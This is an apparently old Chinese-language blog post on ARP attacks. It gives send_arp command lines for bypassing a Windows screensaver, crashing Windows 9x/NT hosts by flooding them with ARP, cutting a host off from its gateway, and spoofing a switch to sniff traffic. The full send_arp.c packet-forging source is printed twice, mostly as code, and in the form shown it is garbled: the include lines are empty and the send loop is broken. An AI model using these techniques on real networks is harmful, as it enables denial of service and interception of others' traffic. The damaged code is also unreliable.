玩转arp

一个要攻击的机子:10.5.4.178
硬件地址:52:54:4C:98:EE:2F
我的机子: :10.5.3.69
硬件地址:52:54:4C:98:ED:C5
网关: 10.5.0.3
硬件地址:00:90:26:3D:0C:F3
一台交换机另一端口的机子:10.5.3.3
硬件地址:52:54:4C:98:ED:F7
一:用ARP破WINDOWS的屏保
原理:利用IP冲突的级别比屏保高,当有冲突时,就会跳出屏保。
关键:ARP包的数量适当。
[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 \
10.5.4.178 52:54:4C:98:EE:2F 40
二:用ARP导致IP冲突,死机
原理:WINDOWS 9X,NT4在处理IP冲突时,处理不过来,导致死机。
注:对WINDOWS 2K,LINUX相当于flooding,只是比一般的FLOODING 有效的多.对LINUX,明显系统被拖慢。
[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 \
10.5.4.178 52:54:4C:98:EE:2F 999999999
三:用ARP欺骗网关,可导致局域网的某台机子出不了网关。
原理:用ARP应答包去刷新对应着要使之出不去的机子。
[root@sztcww tools]# ./send_arp 10.5.4.178 52:54:4C:98:EE:22 \
10.5.4.178 00:90:26:3D:0C:F3 1
注意:如果单单如上的命令,大概只能有效几秒钟,网关机子里的ARP高速缓存会被被攻击的机子正确刷新,于是只要...
四:用ARP欺骗交换机,可监听到交换机另一端的机子。
可能需要修改一下send_arp.c,构造如下的数据包。
ethhdr
srchw:52:54:4C:98:ED:F7--->dsthw:FF:FF:FF:FF:FF:FF proto:806H
arphdr
hwtype:1 protol:800H hw_size:6 pro_size:4 op:1
s_ha:52:54:4C:98:ED:F7 s_ip:10.5.3.3
d_ha:00:00:00:00:00:00 d_ip:10.5.3.3
然后就可以sniffer了。
原理:
交换机是具有记忆MAC地址功能的,它维护一张MAC地址和它的口号表
所以你可以先来个ARP 欺骗,然后就可以监听了
不过需要指出,欺骗以后,同一个MAC地址就有两个端口号
yuange说,“这样其实就是一个竞争问题。”
好象ARP 以后,对整个网络会有点影响,不过我不敢确定
既然是竞争,所以监听也只能监听一部分,不象同一HUB下的监听。
对被监听者会有影响,因为他掉了一部分数据。
当然还有其他一些应用,需要其他技术的配合。
以下是send_arp.c的源程序

/*
This program sends out one ARP packet with source/target IP
and Ethernet hardware addresses suuplied by the user. It
compiles and works on Linux and will probably work on any
Unix that has SOCK_PACKET. [email protected]
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define OP_ARP_REQUEST 2
#define OP_ARP_QUEST 1
#define DEFAULT_DEVICE "eth0"
char usage[] = {"send_arp: sends out custom ARP packet. yuri volobuev
usage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr number"};
struct arp_packet
{
u_char targ_hw_addr[ETH_HW_ADDR_LEN];
u_char src_hw_addr[ETH_HW_ADDR_LEN];
u_short frame_type;
u_short hw_type;
u_short prot_type;
u_char hw_addr_size;
u_char prot_addr_size;
u_short op;
u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
u_char sndr_ip_addr[IP_ADDR_LEN];
u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
u_char rcpt_ip_addr[IP_ADDR_LEN];
u_char padding[18];
};
void die (char *);
void get_ip_addr (struct in_addr *, char *);
void get_hw_addr (char *, char *);
int main (int argc, char * argv[])
{
struct in_addr src_in_addr, targ_in_addr;
struct arp_packet pkt;
struct sockaddr sa;
int sock;
int j,number;
if (argc != 6)
die(usage);
sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP));
if (sock < 0)
{
perror("socket");
exit(1);
}
number=atoi(argv[5]);
pkt.frame_type = htons(ARP_FRAME_TYPE);
pkt.hw_type = htons(ETHER_HW_TYPE);
pkt.prot_type = htons(IP_PROTO_TYPE);
pkt.hw_addr_size = ETH_HW_ADDR_LEN;
pkt.prot_addr_size = IP_ADDR_LEN;
pkt.op = htons(OP_ARP_QUEST);
get_hw_addr(pkt.targ_hw_addr, argv[4]);
get_hw_addr(pkt.rcpt_hw_addr, argv[4]);
get_hw_addr(pkt.src_hw_addr, argv[2]);
get_hw_addr(pkt.sndr_hw_addr, argv[2]);
get_ip_addr(&src_in_addr, argv[1]);
get_ip_addr(&targ_in_addr, argv[3]);
memcpy(pkt.sndr_ip_addr, &src_in_addr, IP_ADDR_LEN);
memcpy(pkt.rcpt_ip_addr, &targ_in_addr, IP_ADDR_LEN);
bzero(pkt.padding,18);
strcpy(sa.sa_data,DEFAULT_DEVICE);
for (j=0;j {
if (sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0)
{
perror("sendto");
exit(1);
}
}
exit(0);
}
void die (char *str)
{
fprintf(stderr,"%s\n",str);
exit(1);
}
void get_ip_addr (struct in_addr *in_addr, char *str)
{
struct hostent *hostp;
in_addr->s_addr = inet_addr(str);
if(in_addr->s_addr == -1)
{
if ((hostp = gethostbyname(str)))
bcopy(hostp->h_addr, in_addr, hostp->h_length);
else {
fprintf(stderr, "send_arp: unknown host %s\n", str);
exit(1);
}
}
}
void get_hw_addr (char *buf, char *str)
{
int i;
char c, val;
for(i = 0; i < ETH_HW_ADDR_LEN; i++)
{
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit(c))
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf = val << 4;
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit(c))
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf++ |= val;
if (*str == ':')
str++;
}
}


 

CODE:
/*
This program sends out one ARP packet with source/target IP
and Ethernet hardware addresses suuplied by the user. It
compiles and works on Linux and will probably work on any
Unix that has SOCK_PACKET. [email protected]
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define OP_ARP_REQUEST 2
#define OP_ARP_QUEST 1
#define DEFAULT_DEVICE "eth0"
char usage[] = {"send_arp: sends out custom ARP packet. yuri volobuev
usage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr number"};
struct arp_packet
{
u_char targ_hw_addr[ETH_HW_ADDR_LEN];
u_char src_hw_addr[ETH_HW_ADDR_LEN];
u_short frame_type;
u_short hw_type;
u_short prot_type;
u_char hw_addr_size;
u_char prot_addr_size;
u_short op;
u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
u_char sndr_ip_addr[IP_ADDR_LEN];
u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
u_char rcpt_ip_addr[IP_ADDR_LEN];
u_char padding[18];
};
void die (char *);
void get_ip_addr (struct in_addr *, char *);
void get_hw_addr (char *, char *);
int main (int argc, char * argv[])
{
struct in_addr src_in_addr, targ_in_addr;
struct arp_packet pkt;
struct sockaddr sa;
int sock;
int j,number;
if (argc != 6)
die(usage);
sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP));
if (sock < 0)
{
perror("socket");
exit(1);
}
number=atoi(argv[5]);
pkt.frame_type = htons(ARP_FRAME_TYPE);
pkt.hw_type = htons(ETHER_HW_TYPE);
pkt.prot_type = htons(IP_PROTO_TYPE);
pkt.hw_addr_size = ETH_HW_ADDR_LEN;
pkt.prot_addr_size = IP_ADDR_LEN;
pkt.op = htons(OP_ARP_QUEST);
get_hw_addr(pkt.targ_hw_addr, argv[4]);
get_hw_addr(pkt.rcpt_hw_addr, argv[4]);
get_hw_addr(pkt.src_hw_addr, argv[2]);
get_hw_addr(pkt.sndr_hw_addr, argv[2]);
get_ip_addr(&src_in_addr, argv[1]);
get_ip_addr(&targ_in_addr, argv[3]);
memcpy(pkt.sndr_ip_addr, &src_in_addr, IP_ADDR_LEN);
memcpy(pkt.rcpt_ip_addr, &targ_in_addr, IP_ADDR_LEN);
bzero(pkt.padding,18);
strcpy(sa.sa_data,DEFAULT_DEVICE);
for (j=0;j {
if (sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0)
{
perror("sendto");
exit(1);
}
}
exit(0);
}
void die (char *str)
{
fprintf(stderr,"%s\n",str);
exit(1);
}
void get_ip_addr (struct in_addr *in_addr, char *str)
{
struct hostent *hostp;
in_addr->s_addr = inet_addr(str);
if(in_addr->s_addr == -1)
{
if ((hostp = gethostbyname(str)))
bcopy(hostp->h_addr, in_addr, hostp->h_length);
else {
fprintf(stderr, "send_arp: unknown host %s\n", str);
exit(1);
}
}
}
void get_hw_addr (char *buf, char *str)
{
int i;
char c, val;
for(i = 0; i < ETH_HW_ADDR_LEN; i++)
{
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit(c))
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf = val << 4;
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit(c))
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf++ |= val;
if (*str == ':')
str++;
}
}

你可能感兴趣的:(职场,ARP,休闲)